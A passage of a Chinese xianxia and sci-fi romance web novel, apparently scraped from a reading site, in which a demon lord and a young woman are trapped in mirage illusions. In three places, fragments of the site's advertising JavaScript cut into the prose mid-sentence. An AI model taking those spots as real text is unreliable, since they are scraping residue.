然而就在她有了答案的瞬间,突然天旋地转,轿子跟个线轮似的骨碌碌地打滚。然后是失重感,像从山顶坠下去一般…… 水行村的后山呈环抱之势,两侧的山临着海。漆瑭二人顺着马车辙追至其中一座临海的山头,然后看到了停在了山脚下的马车。 她猜测几人是换了狐狸轿,今日的狐狸谨慎,没有留下梅花爪印,所以很难靠肉眼追踪。 幸亏有易昀在,他神识铺开转瞬就找到了狐狸轿所在。 然而晚了一步。 十六只狐狸抬着轿子如离弦之箭一般冲着悬崖冲了过去,自毁式地坠进了海里。 与此同时,轿上飞身而下一个蓑衣人,出其不意地打断了二人将要阻拦的动作。 漆瑭心里一惊:之前那些装神弄鬼的蓑衣狐狸们身无灵力,说明它们被恶念寄生前都是普通的山野狐狸。而眼前这个蓑衣人显然实力不俗,看来ta就是恶蜮在此地的“主要寄生者”,也就是冥主都没能找到的恶蜮分身。 山顶风大,将崖下海浪击石声吹得呼呼作响,宛如轰鸣鬼叫。 易昀在此世鲜有对手,若是恶蜮真身前来或许还有几分棘手,但区区一个恶蜮分身,他还不至于放在眼里。 周身黑气暴涨,倏地向着蓑衣人席卷而去。 那蓑衣人竟然不惧,猛地一挥手,一道璀璨的光芒如闪电般射出,瞬间与那黑气碰撞在一起。 “轰”的一声巨响,光芒与黑气相互冲击,爆发出强大的能量波动,周围的山石都被震得簌簌滚落。 …… 来回七八招,蓑衣人已显颓势。易昀余光中瞥见那抹黄色身影,在二人交战的间隙掠到崖边跳了下去,想来是去救那个凡人了。 他漫不经心地走神,心想:她倒是好心,才认识一天就担心起别人的死活了。 最后,黑气强势地将蓑衣人的伪装尽数撕碎,斗笠、蓑衣,甚至于竹子做的人形架,都与蓑衣狐狸们并无二致。 然而那最上面站着的不是狐狸,而是——一只鸡。 或者说,雉。 黑气与恶蜮激烈角力,掀起的飓风与崖下的海浪声对撞,发出凄厉呼啸的恐怖声响。 不过片刻,雉七彩的羽毛散落一地,它那比狐狸还要大的身躯终于迫于黑气威势,寸寸崩裂。 那颗孤零零的鸡头躺在地上,眼睛瞪得大大的,眼神饱含嘲讽意味的讥诮。 黑色的靴子踩上鸡头,一脚将其彻底碾碎。黑气归笼,狂风消失,易昀翻飞的衣摆恢复平整。他扭头望向崖边,沉默片刻,朝那走了过去…… 千岁之雉,入海为蜃。 这里的“蜃”与前尘蜃境的那个“蜃”有所不同,前尘蜃境是情感、执念等凝成的实气,类似于某种自然景观。 雉化作的“蜃”,也是一种实气,但却是一股受雉的意志影响的实气。雉入水后形似蛟,名为“蜃楼”,它会像分泌珍珠质的蚌,分泌出“蜃气”将它的海底巢穴重重包裹,形成一道天然的防护罩。 外来者闯入,就会陷入它编织的幻境中。 若是外来者孤身一人,则会被照见内心的七情六欲,譬如恐惧、痛苦、执念、欲望等等,混杂在真实的记忆里,反反复复地经历。心志不坚者会彻底陷入为他们量身定制的幻境中,再也出不来。 若是外来者们之间存在某种关系,那么蜃气极有可能以此为基础,构建出一个虚实结合的幻境。它巧妙地利用外来者之间的种种关联,将真实与虚幻交织在一起,令人误以为在幻境里和同伴经历的一切才是真实,于是忘记了回去的路。 易昀坠入的,就是这样的幻境——以他与漆瑭的关系构建的,未来幻境。 ** 漆瑭的脑袋很晕,她隐约觉得她的身上发生过什么大事,但是想不起来。 她从工作台上起身,卸下防护衣后揉着腰打了个呵欠。她想,可能是太累了产生的错觉吧,毕竟她已经三天没睡觉了。 这是她从学院毕业后,第一次随军驻扎。 临行前,老头嘱咐了好多遍“注意安全,活着回来”。 漆瑭吐吐舌头:“你怎么比我还紧张?放心吧老头,我们‘维修工’蹲在大后方,安全得紧。” 确实是安全得紧,就是累。当然也是因为她自己不服输的性子,急于做出点名堂来,所以她埋头工作间整整三天,独自一人将一架破损率高达85 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' %的机甲修好了。 漆瑭用指纹叩开保温器,从里面取出一管营养液,拔开盖子仰头喝了下去。 有点酸,是什么古怪的青苹果味。她觉得设计师简直是脑子有泡,这还不如原味的好喝。 漆瑭硬着头皮吞下去,她实在太饿了。喝完呸了两声,便去洗漱间里好好收拾了一通。 她完成了这么个大项目,必须得光鲜亮丽地出现在大众面前,雄赳赳地推开工作室大门,迎接属于她的鲜花和掌声!然后再给老头去信一封,让他也跟着面上有光…… 整理好后,她昂首挺胸得像只骄傲的小孔雀,慢悠悠推开了房门。 然而没有掌声也没有鲜花。 ——当然没有了!军队里哪来的这种东西,这都是战争结束后留给幸存者的慰问! 但她没想到,她会看见冷冰冰的信箱仪。 老漆头死了。 据说他是在维修轨道站时触电身亡,被发现时已经没救了。消息传不进军队,硬是晚了七天。消息抵达,漆瑭反而正埋首工作间,直到今天她推开房门。 相熟的工友忙碌中看到她,拍了拍她的肩安慰道:“节哀。” 人群来来往往,每个人都很忙碌,没有人注意到她。 与她对接的运输兵也只是说:“哦!修好了,你自己?厉害,明天启用哈,你知道的,今天前线吃紧,大家都太忙碌了。” 祸不单行,入夜,警笛声长鸣营地,有虫族偷袭。 人心惶惶,传言虫族大军有内应,得以长驱直入,大后方也要不保了。 工友说:“倒霉催的,还想多活几年呢艹!早知道我注定英年早逝,就去前线当兵了,好歹联邦币发的多,总比现在过得潇洒!累死累活的,存款还没舍得花,人就要挂了!” 另一人说:“紧张着呢,你别逗我笑。” 工友拐了拐漆瑭,问道:“喂,你怎么不讲话?累傻了?你说他们要怎么安排咱们,有没有人能来保护一下脆弱的战五渣维修师啊。” 漆瑭扭头盯着他,那双向来温和明媚的眼睛此时一片幽黑。 工友吞了口唾沫,惴惴不安道:“你,你怎么了?真累傻了?” 另一人拍拍他的肩,低语道:“她爷逝世了,你别逗她了,长点心眼吧。” 这一刻,漆瑭的心里突然涌现出一股难言的戾气,将她伪装了十年的温和表象撕个粉碎。 有什么必要继续装好人呢?她本来就不是什么普世意义上的好人。 当初不过是为了让老漆头收养孤苦无依的她,才学着乖巧、懂事、纯洁、天真,后来继续伪装也只是为了别人口中的赞美、喜爱。 因为她发现,当她不去思考他人“好意”的真假时,那些赞美和喜爱竟然诡异地滋润着她贫瘠缺爱的心灵。她开始享受这种“被他人喜爱”的感觉,于是面具越来越多。 她恍然惊觉,自己竟然有些不认得自己了。 当年那个垃圾星小霸王,敢于游戏禁湖、单挑群童的她,早就不知道被丢在哪个角落里了。 现在老漆头死了,她像是猛地被谁抽醒了似的,从掩耳盗铃式构建的虚假现实里惊醒。她忽然觉得过去许多年做的许多事,都特别特别没有意义。 于是她翻身进了那台机甲,一跃而起,颇有几分神挡杀神的气势。 所幸那天没什么不长眼色的工友跳出来阻拦,否则她也不确定自己会不会犯下弥天大祸,把自己送进军事法庭。 那台机甲手下的亡魂,只有上百只恶心的虫族。 杀、杀、杀…… 虫尸粉碎,遍地狼藉。生死攸关,血脉偾张,紧张之下大脑反而愈发清醒,那刺激的滋味真令人感到痛快。 她想,原来我竟是这样疯狂的一个人,原来直到现在我才看清了我自己。 17. 吻 蜃气幻境映射的是易昀与漆瑭的未来,它照见他内心最隐秘的欲望,试图借此蛊惑他、将他留在幻境中。 这时三个月已经过去,净离秘境再度开启,只要取到扶桑果,就可解除心契。然后他就可以毫无顾忌地杀了她,如此一来,困扰他千年的心魔也会因此消失。 这就是他的欲望。 这就是他的欲望……吗? “辛苦了阿兄,我给你擦擦汗。”环在脖颈间的一双胳膊抬起来,柔软的手指作乱似的在他脸上胡乱揉了一通。背上的少女使坏成功,咯咯笑了起来,“原来没出汗呀,反而清爽滑溜微微凉。”她伸出一根手指戳了他脸颊一下,悠悠叹道:“所谓冰肌玉骨就是如此吧!” 幻境的构建颇为谨慎,它会将前因后果完整地植入闯入者的记忆中,使得整个幻境更加真实。 在易昀的记忆里,扶桑树生长之地章尾山,占地宽广且抑制灵力,所以二人只能步行寻觅扶桑树。行至半途,漆瑭就开始喊累,娇气地命令他背着她。 诡异的是,他竟然同意了。 这一切都令易昀感到非常强烈的违和感:漆瑭不该是这样的,他也不该是这样的…… 虚假到这个地步的幻境可以说非常不专业,就差把“我是假的”四个大字贴在脑门上了。 易昀猛地停住脚,将背上的少女丢了下去。 她“哎呦”一声,柔柔弱弱地跌在地上,诧异地抬头看着他,既委屈又气势汹汹地质问:“你做什么?” 易昀定定地盯了她片刻,随后抬起手打算强行破境—— 他不打算跟这个假货纠缠,区区蜃气幻境,困不住他。 然而就在他动手的前一瞬,少女突然抬手扯住了他的衣摆。 易昀鬼使神差地顿了一下。 少女像是攥紧救命稻草似的死死攥住他的衣服,微微歪着头,那股子恃宠而骄的气焰消失不见,眼神茫然而悲伤,轻声说道:“你改主意了吗?寻到扶桑果后,你就要杀了我吗?” 看来幻境里那个“易昀”改口说要放她生路了。 他眸中闪过一丝讥诮,蹲下身将她的手指一根根掰开:“本尊从没改过主意,寻到扶桑果后,本就会杀了你。” 她的手松开了,紧接着出其不意地抬手扯住他的衣领,将刚要起身的易昀再次拽住。执拗地问:“可不可以不要杀我,我们不是说好了吗?你怎么说话不算数呢?”一滴颤巍巍的泪珠顺着脸颊滚落,“我用别的跟你换,行不行……” 他似乎觉得很好笑,抬手掐住她的下巴,将她的脸抬了起来,打量那条晶莹的泪痕,反问:“换?你想用什么换。” 然后他突然感到唇间落下了一团柔软。 这个世界是虚假的,风、阳光、草木都是假的,虚假的少女猛地拽住男人的衣领,仰头吻了上去。 易昀面无表情,然而震颤的瞳孔却出卖了内心的动荡。 似乎过了很久,又似乎只是片刻。 他的声音难得带上了几分迷惑:“这是什么?” 易昀并非真的不知道这是什么,俗话说“没吃过猪肉还没见过猪跑吗”,只是这事从来没和他扯上过关系,所以乍然经历,迷惑里的惊诧要比单纯的疑惑多。 他听见她说:“这是一个吻。” 鼻腔里的甜香,唇上的柔软,唇齿间沾上的泪水咸而涩。这一切都是虚假的,就连感知也是,可是,情绪却是真实的。 他知道自己应该将她甩开,应该打碎幻境,这世上本没有什么东西能困住他。 可是心魔却在此时躁动了,大脑有一瞬的空白,头皮发麻,思想与躯体脱了节,他竟然硬生生地僵硬在原地。 易昀认为,心魔肮脏、卑劣,所以会被这样的假象所迷惑。尤其是在针对精神的幻境里,导致心魔对他的影响被数倍放大,所以他才会失控。 不过也正因为是在针对精神的幻境中,人的主体就从“躯体”变成了“精神”,所以他可以做到现实世界中做不到的事,比如:强行将心魔剥离。 强行剥离心魔的痛楚不啻于将人活活劈成两半。 易昀的身影重影似的晃了晃,接着,分割成了两个一模一样的他。二人相对而视,只是他们看着彼此的目光实在说不上友善。 一个易昀操纵黑气直击幻境境眼,顿时,四周剧烈地震荡。 他冷声道:“蠢货。” 世界在崩塌,狂风席卷,树木摧折,土地翻飞。 另一个易昀眯了眯眼睛,反唇相讥道:“白痴。” 幻境彻底崩溃,世界的碎片四处纷飞,最后一幕里,虚假的漆瑭笑容格外诡异,她说:“这就是你想要的啊……这就是你想要的。” 蜃气幻境消失了,显露出海底世界的真容。 灰雾弥漫在海水里,构建成一个巨大的半圆形将中心笼罩。那灰雾就是蜃气的实体,而中心就是蜃楼的巢穴。 此时,中央处形成了一个巨大的海底漩涡,磅礴的灵气在其中鼓荡。这是一个隐藏在海底的传送法阵,也是恶蜮分身拼命掩饰的秘密—— 传送阵的另一头定是它本体所在。 但是显然,在恶蜮分身死亡的那一刻传送阵就关闭了,所以才会外溢如此多灵气。原本恶蜮雉是打算通过此阵将上等祭品送回本体,但被漆瑭二人打断了。它弃车保帅,牺牲分体拖延易昀,留给主体斩断传送阵的时间。 易昀将目光移向灰雾。 灰雾像蛛网似的,将外来者的躯体粘黏在上面。他们沉睡着,说明意识还陷在幻境中并未出来。 蜃气幻境缜密而难缠,所以更显得易昀方才经历的幻境奇怪了,虚假的太过明显。要知道,蜃气是不会犯这样的低级错误,除非—— 那样的漆瑭,本就是蜃气幻境用以蛊惑他的手段。 脑海中闪过最后一幕里,虚假漆瑭的那句话:“这就是你想要的……” 易昀眼神一沉,这一切都指向一个答案—— 她就是他的……欲望。 冥主不觉得这是他自己的欲望,他固执地认为这是心魔的欲望被蜃气捕捉了。那肮脏、卑劣、恶心的心魔。 他突然发现有些不对,按理说,在脱离幻境之后,心魔精神体应该像往常一样沉寂于身体中。可是他冥冥之中感觉到,心魔不在。 而那张灰雾蛛网上,在一个女人身影旁边,有一团亮光莫名闪烁了一下。 易昀有些不可置信——那个寄生体似的卑劣心魔,居然违逆本能,借机浸入了那个女人的幻境! 沉浸在蜃气幻境中的人是不能被外力强行叫醒的,否则会对大脑造成巨大损伤。一般情况下,只能凭借自己的意志分辨幻境,坚定离开。 但是还有一种方法,因为鲜有人能做到,所以鲜为人知。 那就是将蜃气此物彻底抹消。 易昀眸色黑沉,盯着沉睡的漆瑭看了一会,突然抬手,释出无数黑气,从蜃气的头部开始迅速蚕食! 黄泉之火,无物不摧。 ** “干杯!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>四五只易拉罐被高高举起,“嘭”地撞在一起。 A15联邦星的中央公园里,五个少年席地坐在湖边草坪上,正在野餐。 一个少男说:“恭喜漆姐平安下庭!说真的,我差点以为你回不来了。” 一个少女扑到漆瑭怀里,搂着她咯咯笑:“咱们漆小瑭出息了啊,那么疯的事都敢干,平日里满口‘姐姐’的粘着我,跟个软柿子似的,想不到肚子里揣着根大刺!” 漆瑭敷衍地笑了笑。 这两日发生的一切都跟做梦似的:那日战争有惊无险地结束了,她从机舱中脱出,看到的是一张张神色异样的脸。那上面明明白白写着,对她所作所为的不赞成。 军队内部等级分明,各模块各司其职互不相干。尤其是士兵与器械师,往往一场战役打下来,互相也没见过面。 而她的情况比较复杂,所以上了军事法庭,审理了足有一月。 最终结果,她虽犯了军规,却立了军功。两相一抵,她仍做回那个普普通通不起眼的“战五渣维修工”。平安释放了。 从前在学院的朋友们当然也听说了这个大事,一来出于庆祝有惊无险,二来为了安慰她亲人去世的创伤,所以组了这么个局。 可是她总觉得不对劲,心里隐隐觉得自己忽视了什么,忘记了什么,却始终找不到关键的线头。 她问自己:当初不是下定决心撕碎伪装重新生活吗?为什么现在又回到了从前的生活轨道?可是她又觉得,人天性里本就存有一份对熟悉生活随遇而安的惰性,若非一个强有力契机出现,是很难果断地做出改变的。 她已经历了一个契机,就是那场战争。那么出格的行为本应将她推至一个全新的、前所未有的境地,然而,命运却仿佛跟她开了一个玩笑,兜兜转转之后,竟然还是任由她回归了普通生活。 这时候,她的心里已经没有那股迫切想要改变的劲头了。契机本就是失不再来的。 棕发少年江愿起身走到她身边,俯身低语道:“别不开心了,要和我去划船吗?像以前那样,你最爱玩的。” 少年有一双琥珀色的眼睛,在阳光里格外清澈透亮。像漆瑭爱吃的琥珀糖。 她其实不是最爱划船,那只不过是从前企图与江愿过“二人世界”的小借口,因为她曾经以为自己喜欢江愿。 但她经历了这么一场精神涅槃,突然就想明白了:她不是喜欢江愿,确切的说,她是羡慕江愿。 羡慕他良好的家庭,恩爱的父母,幸福的童年,稳定的情绪,美好的性格……因为羡慕,所以向往,那向往最终被模糊成一种青春期独有的悸动,和“喜欢”混为一谈。 漆瑭盯着他看了一会,看得围观的伙伴们不约而同地发出一阵心照不宣的揶揄声。 然而她摇了摇头,第一次拒绝了他主动的邀约:“不想去。” 江愿无奈地笑笑,刚想说什么,就被漆瑭身边的少女打断了。 少女热切地推了推漆瑭,激动地耳语一番,那神情简直像个为自家孩子操碎了心的老母亲。 最终,漆瑭颇为无奈地揉了揉额头,点头道:“好了好了,我去就是了。” 江愿好脾气地陪在她身边,在众人欣慰的目光下,朝着林中小湖走去。绅士地扶着漆瑭上船后,还主动承担了划船的工作。 风和日丽,碧波澄澈。 漆瑭神色怏怏地支着脑袋,第一次没有主动与他找话题。 结果江愿跟她说的第一句话是:“那是什么?水里有人?!” 18. 过去 风和日丽,天朗气清。中央公园里游人三三两两,他们衣着考究,步履从容,都是联邦星系里有工作、有家世的体面人。 他们中的大部分人生来就拥有在中央公园消磨时光的资本,可漆瑭不同。 她今天之所以能站在这里,全凭自己过去的努力。 漆瑭是垃圾星孤儿,被一个名叫漆然的女人收养。女人是走私贩子,虽然对她不闻不问、衣食不管,但好歹威名在外,给了小漆瑭一个避风港。 后来漆瑭十岁时,女人死了。那时候漆瑭已经会维修些破铜烂铁,赚三瓜俩枣,自己也能混口饭吃。可是,她仍然太弱小了,没有女人的威慑,孤身一人的小孩子在旁人眼里无异于乱跑的牲畜。 好在,那个和漆然解除父女关系多年的老漆头竟会来料理女人的后事,也就此遇见了小漆瑭。 漆瑭用一条腿,换来了准备离开的老漆头的心软。 老漆头叹了口气,问她:“姑娘,好好的,怎么从窗户栽下来了?” “对……对不起。”与性格不同,漆瑭生得玉雪可爱,像个瓷娃娃。一双小鹿眼刻意清澈无辜地望着别人时,没人会怀疑她的纯真,“我……我想目送爷爷,我……我有点舍不得爷爷。” 老漆头沉默半晌,问道:“姑娘,你叫什么名字?” 漆瑭惴惴不安地捏着衣摆:“妈妈叫我,小玉。” 老漆头朝她伸出了手,说:“小玉不好,往外叫声小玉,会有很多人搭腔。你以后就叫漆瑭了,漆然的漆,瑭玉的瑭。” 于是漆瑭终于离开了垃圾星,她以为只要继续装可爱、装天真,就能拥有梦想的一切。 可惜不是,现实总是残酷的,从一个笼子里跳出来,其实是跳进了另一个笼子里。 老漆头没有什么显赫家世,只是联邦星系的普通公民,有一份维修轨道站的工作,薪水不多但足以养家。 漆瑭儿时想要的奶味饼干、水果味的糖、辣嘴巴的甜水……在老漆头手头宽裕的时候,都能拥有。 可是,她开始不满足于此了,她想要的东西越来越多。 从小她就知道,想要什么东西就要靠自己争取。她努力考上联邦军备学院,可是她发现在联邦,空有实力没有资源,仍然满足不了她的欲望。她见识的越多,想要的就越多。 然后她绞尽脑汁结识了这群天之骄子好友……可是,这样跨阶级的友谊本就是不平等的。 人与人的关系的本质,就是利益交换。物质利益、情绪价值……都是筹码,所以她从不相信一个人会无缘无故地对另一个人好。 不相信,但装作相信。她把伪装的社交面具带的严丝合缝,一时一刻、有人无人,都不会摘下来。 努力、伪装……这都是达成目的的手段,要想活得漂亮,脚步就不能停下。漆瑭从不相信世界上有莫名其妙的好事,天降幸事,那都是裹着蜜的刀子。 联邦军律严苛,就算功过皆有,那也应该各罚各的、各奖各的,怎么会轻轻松松地功过相抵呢?她觉得太不真实了。 江愿为人绅士,性情温和,本就看出她兴致不高,所以只是安安静静地划船陪伴。 林间湖中,划船怡情的小资人士众多。江愿便划着船朝不远处的湖汊行去。 这里水面干净,四下无人,阳光从树叶的缝隙里漏下来,漂浮在摇晃的水上。 漆瑭托着腮发呆,一副状况之外的样子。 江愿停下船,琢磨着找些话题转移她的注意力,好让她像伙伴们期待的那样,重现活力,变回从前的样子。 他看见了水面中心一丛人工培育的睡莲,花瓣洁白如雪,中心点缀着鹅黄色的花蕊。他记得这两种颜色,是漆瑭平时最为喜爱的。 棕发少年像发现了什么秘密一般,眼角眉梢都漫上笑意,指着那丛可爱的睡莲呼唤漆瑭:“小瑭,你瞧……”可是话未说完,他的语调变急,“那是什么?!” 漆瑭仍然神情恹恹,直到听见他说:“水里好像有人!” 她不以为意地想:水里有人怎么了?这世上哪里都是人,空中有、地面有,凭什么水里不能有了? 然后脑筋慢一拍地捕捉到了重点:安安静静的,水里的莫非是死人? 她这才掀起眼皮,朝着少年手指的地方看去。 江愿划着船往那边划,漆瑭眨了下眼睛,死寂木然的心里突然活跃起来。 她有些好奇。 绿色的树影将水面也染成了绿色,水面下漂浮着一个平躺的人影。 漆瑭在看清此人时愣了一下。 是一个男子,他长长的黑发飘浮在水中,像无数柔顺缠绵的水草。他那瓷白的肌肤上毫无血色,被泛着微微绿色的水包裹着。 这本该是极阴森恐怖的一幕,然而,他却生有一张精致如画的脸,使他看起来仿若一只糜艳的水鬼,散发着一种神秘却又危险的魅力。 静谧的树林里,绿色的河水上,船边的少女有片刻失神。风吹起她的长发,有几缕发丝被吹到船外,轻触水面,荡起极小极细的涟漪。 江愿救人心切,匆忙俯身,试图将他拉上船。 小木船在水中摇摇晃晃,江愿用力拖曳毫无知觉的男子,看上去有些吃力。于是漆瑭搭了把手,她拽住了水中男子的另一只手。 许是在冰冷的湖水里泡久了,他的手腕也被浸得冰凉。握在手心又滑又冷,像某种常年放置阴凉处的复古瓷器。 男子被捞上船的瞬间,漆瑭忽觉手腕一紧,他竟然反手握住了她! 与此同时,木船摇晃间,几人都没能保持平衡,“噗通”一声齐齐栽倒。 男子意外压到了漆瑭身上。他浑身湿漉漉的,湿发垂下来,落在她的脸上,还在往下滴水。 水滴到了江漆瑭的嘴唇上。 她“呸呸”两声。 抬起头,却落进了一双灰色的眸子里。 这一刻,万籁俱寂,天地无声,时间仿若静止。 那双眼睛温柔得像水、像湖,某种柔软而令人心悸的情绪狂涌而出,几乎要将漆瑭溺毙。 他的目光缓缓下移,定在了她的唇上……漆瑭觉得有点喘不过气,手脚并用猛地将他从身上掀了下去。 刚爬起来的江愿欣慰道:“太好了,还活着。”他打量着面前男子奇怪的装束,“这位先生,您还好吧?怎么在湖里晕了过去,请问您需要医疗援助或法律援助吗?” 男子垂下眼睫,礼貌又疏离地说:“不需要,多谢。” 经此意外,江愿也没了划船的心思,从甲板下叩出一个隐藏的操作仪,设置了自动返航。 忙完后他终于坐下,这才看到漆瑭的衣裳被男子身上的水浸湿了大半。江愿极其自然地脱下自己的外套,递给漆瑭道:“小瑭,你的衣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 服湿了,不介意的话可以披我的外套。” 她无所谓地接下来,礼貌道谢。 漆瑭一直是个直觉很强的人,她感到有一道若有似无的目光落在她的身上,克制地一触即分,却又情不自禁地触而又触。 她疑心地看了看身边的两个男人,但是没发现任何不妥。而那道目光也就此消失,让人难寻源头。 漆瑭垂下眼皮,不动声色地戒备四周,好在一直到回到草坪上,那道目光也没再出现。 “咦,你们这么快就回来了?”吃着可颂的少女单手合上书本搁在身旁,朝着漆瑭二人挥手。在看清跟在二人身后的人影后,她一跃而起,满目惊艳,“这位是?” 另外三人也露出同款的震惊脸,盯着那个陌生人。 一来,他衣着奇怪,裹着一身极为复古的不便于行动的黑袍;二来,他浑身湿透,长发拖地,湿漉漉地贴在身上,像某种水草图腾;三来,他的长相实在……太出挑了。 江愿言简意赅给几人解释了一下刚才发生的事,然后五人齐齐看向男子。 “请问这位先生,您是遇到什么困难了吗?是否需要援助呢?不必担心,您尽管放心说。我是A1星陈家的陈灿星,在我面前,您无需有任何顾虑。”少女目光灼灼地盯着他,主动开口。 男子思索片刻,下定了什么决心似的,摇摇头:“不必了。”他转身欲走,在离开前突然扭头定定地看向漆瑭,灰色的眼睛浓雾似的漾了一下,唇角轻轻翘起一个弧度,诚恳而认真地说:“多谢相救……这位小姐。” 他离开后,陈灿星咂咂嘴道:“这么极品啊……早知道我也跟你俩一起去了。” 江愿笑得无奈:“他来历不明,行事诡异,灿灿,你最好别去招惹这种人。” 陈灿星哼了一声,扑过去挽住漆瑭的胳膊,卖娇道:“小瑭!告诉我刚刚都发生了什么,任何细节也不要落下,江愿那家伙说的太简略了。” …… 散场时天色已晚。 漆瑭回到空荡荡的家里,叩开灯,走到冷冻仪前取出一罐碳酸饮料。 “呲” 启开盖子,小气泡们噼噼啪啪地飘浮出来,扑到人的鼻尖上。 她倚着窗台,仰头喝了一口。 入口无数气泡在舌尖炸开,确实近似于一种“辣嘴巴”的触感;气泡消失后,只剩下丝丝缕缕的甜味。 这就是她儿时向往的“辣嘴巴的甜水”,老漆头隔三差五会买几罐存在冷冻仪里,留给她喝。 手里的这一罐生产日期是老漆头逝世的前一天。 巨大的空茫失落突然袭上心头。 老漆头的噩耗就像将她的心脏硬生生剜去了一层似的,深刻到了骨子里。 漆瑭对伤痛的记忆力向来很强。 她想,如果未来有一天她陷在一场真实至极的梦里,而梦中老漆头还活着,那么她一定能够在第一时间就意识到那是虚假的。 因为她清楚地记得老漆头已经离世,这种记忆是如此深刻,以至于她能够轻易地分辨梦境与现实。 但如果老漆头离世的事实不变,她还能分得清现实与梦境吗? 漆瑭望着窗外发呆,慢条斯理地将那罐碳酸饮料喝光,然后猛地将易拉罐捏扁,以迅雷不及掩耳之势抄起窗帘后地防身光刃,直指背后,轻笑一声道:“出来吧,我早就发现你了。” 19. 目光 自漆瑭踏入家门的那一刻起,就隐隐察觉到有一道暗处的目光,肆无忌惮地胶黏在她身上。 那东西正在盯着她看,目光一寸、一寸地移动,如有实质般拂过她的发丝、眉眼、口鼻,逐步移至肩颈、腰臀……直至脚尖,而后又反复折返、来来回回。 可是被她拆穿后,那目光仍未消失,反而愈发明目张胆,仿佛在向她宣告着自己不容忽视的存在。 漆瑭浑身寒毛根根倒竖,握紧了手中光刃,猛地拉开衣柜……然而里面空无一人。 她小心翼翼地巡视了每一个房间,仔细查看任何可能藏人的地方,无论是衣柜、床底,还是狭窄的缝隙……但结果都是一样,没有任何人的踪迹。 确确实实,这个家中此时只有她一人。 可是,那道诡异的目光仍然存在,难辨来源。 这感觉仿佛置身于梅雨天的狭小房间,水珠从天花板、墙壁、地板渗出,滴滴答答。潮气静悄悄地蔓延至每一个角落,无孔不入地将人包裹。 而此时那道无处不在的目光,就是无孔不入的潮气。 漆瑭向来信任自己的直觉,既然感觉不对,那一定是有不好的事情发生了。 就像这两日不真实的生活似的,现在发生的一切更令她确信,有什么不对劲的事情发生了。 她不能继续待在这里了。 漆瑭将光刃调整成一个手环套到手腕上,离开了家。 她去了家附近的一家联邦连锁酒店,从大门到室内需要经过重重安保,在这种地方至少能保证物理上的安全。 确保安全后她第一时间向联邦警局报案,走完线上流程后已是深夜。漆瑭疲惫地将自己扔到床上,倒头就睡着了。 少女睡觉总是不太安稳,习惯性地蜷缩起来抱住自己,像一只没有安全感的脆弱小兽。 空荡荡的酒店房间里忽然显现出一个人影,站在床前,垂首看着少女。 他关掉房间明亮的灯后,俯身将少女调整成一个舒服的姿势。接着,他拿起羽绒被,轻轻地拢住她,动作极为小心翼翼,仿佛生怕稍一用力就会将她碰碎一般。 他维持着俯身拢在她身上的姿势,垂眸,用目光舔舐她嫣红的唇瓣,情不自禁地俯下头去…… 然而近在咫尺时却克制地停住了,他的喉结重重地一滚,随即伸出手,轻轻将贴在她脸颊的发丝顺到耳后。 他将要起身,突然,“嗤——”一声。 一道光刃穿破羽绒被,戳进他的腹部,从后腰冒出来。 漆瑭猛地睁开双眼。 可是还未在黑暗中看清那人的样子,眼睛就被一只冰冷的手盖住了。她感到另有一只手捏住了她的后颈,轻轻地揉捏,像是在哄她似的。 诡异的是,她竟然抵挡不住莫名其妙袭来的睡意,沉沉地昏睡了过去。 少女恢复安静后,蝶翼般的睫毛随着呼吸轻轻颤动,显得整个人无害极了。 男子缓缓后退,将光刃抽出,他腹部的伤口处如同泛起涟漪似的,轻轻地一荡,随即便神奇地完好如初了。 他单膝跪在床边,将少女搁在床边的一只手捧到手心里,然后脸颊贴了上去。 声音发颤:“抱歉……阿玉。” ** 早上八点,定时窗帘自动拉开了,明媚的阳光将酒店房间渐渐填满。与此同时,守在床边的男人身影也渐渐消失。 床上的少女拧起眉头,猛地惊醒。 她先是紧张地拎起被子,四处拍了拍,不见有破损处,又抬起手看着手腕的光刃环,没有变化,十分正常。 可是,挂在衣架上,准备送去清洗的江愿的外套,不见了。 …… 联邦酒店咖啡厅。 靠窗的景观桌上坐着一个长相明艳的少女,手里翻着一本罕见的纸质书,书旁放着一杯热气腾腾的手冲咖啡。 她看上去有些心神不宁,盯着书本发愣,回过神来喝口咖啡,抬头朝门口看了一眼,然后继续盯着书本发愣。 直到她再次朝门口看去,看到了期待多时的人影时,她整个人才活跃起来。 招手道:“小瑭,我在这里!” “早安,灿灿,等久了吧?”漆瑭坐在陈灿星对面,从面板上点了一份早餐。 陈灿星也礼貌寒暄:“不久,不过小瑭你怎么出来住酒店了?” 漆瑭愣了一下,垂下头,强装坚强道:“没什么,就是……在家里,总会想起爷爷。” “哦,不好意思啊。”陈灿星起身走到漆瑭身边,俯身给了她一个拥抱,“我多嘴了。” 微垂的眼睫遮住了漆瑭冷静的眼神,她柔声道:“没事儿,我自己能调整好。对了灿灿,你今天跑这么远来找我,是有什么事吗?” 少女的表情霎时变得扭捏起来,支支吾吾道:“是这样的……昨天在中央公园碰见的那个帅哥,你还记得吗?” 漆瑭点点头:“他怎么了?” 陈灿星俯身在她耳边,生怕被旁人听到似的,用气声道:“我拜托爸爸帮我在公民系统里找找这个人。”她顿了一下,“你知道吗?竟然没有!” 公民系统对公众来说是保密的,可如果是某位大人物要给自家女儿开个后门……那也不在话下。 联邦内每个公民,自出生起就会在公民系统中录入自身信息,并逐年更新。若是在上面查找不到某个人,那只有一种可能——他不是联邦公民,而是分流星系的亡命徒。 可是,非联邦公民怎么会出现在中央公园? “我爸爸说这不是件小事,他准备追究这件事。”陈灿星大小姐难得露出了惶惶然的表情,“我也不知道这算好事还是坏事,我当然想能找到他,可是……又怕爸爸真的找到他。”她捂着心口,“小瑭,我好难过,你开导开导我。” 漆瑭于是一边帮大小姐分析,一边走神地思考种种怪事。 她有种直觉,这些怪事和那个奇怪的男子有某种关联。 坐以待毙从不是漆瑭的风格,她表面上柔顺温和,实际上骨子里倾向于挑战、热衷于主导局势。 正因如此,陈灿星临走时留下的邀约——“小瑭,你下午有时间吗,江愿想要约你吃顿饭。要是方便的话,你给他回个信吧。”漆瑭毫不犹豫地应下了。 她回想起,那古怪的目光第一次出现,是在江愿给她披上了外套后;而最后,一切恢复如常,唯有那件外套消失了。 